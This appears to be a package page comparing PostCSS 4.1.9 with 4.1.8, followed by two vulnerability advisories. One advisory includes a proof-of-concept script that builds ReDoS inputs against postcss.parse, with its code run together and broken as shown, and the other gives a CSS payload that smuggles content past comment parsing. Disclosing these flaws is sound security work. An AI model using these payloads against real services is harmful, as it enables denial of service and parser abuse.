PostCSS version 4.1.9 is a minor update to the popular CSS transformation tool, following closely on the heels of version 4.1.8. Both versions share the same core dependencies, including js-base64, source-map, and es6-promise, ensuring continued compatibility for existing users. The core functionality, centered around transforming CSS with JavaScript plugins, remains consistent between the two releases.
Examining the devDependencies, we see a subtle but potentially important change: babel-core has been updated from version 5.2.2 in 4.1.8 to version 5.2.13 in 4.1.9. This suggests a fix or enhancement within Babel's core transpilation capabilities influencing PostCSS plugin behavior. Developers employing PostCSS plugins heavily reliant on modern JavaScript features should take note as this updated version of babel-core may introduce subtle breaking changes or, more likely, provide improved feature support and bug fixes.
The release dates provide context; version 4.1.9 was published a few days after 4.1.8, indicating a possibly urgent fix or enhancement justifying the rapid release. For most users, this minor version bump likely represents a safe and recommended update, potentially addressing edge cases or compatibility issues introduced in the previous version. Reviewing the changelog or commit history for PostCSS between those dates would provide even clearer insights into the specific changes included. Both versions remains under the MIT license.
All the vulnerabilities related to the version 4.1.9 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.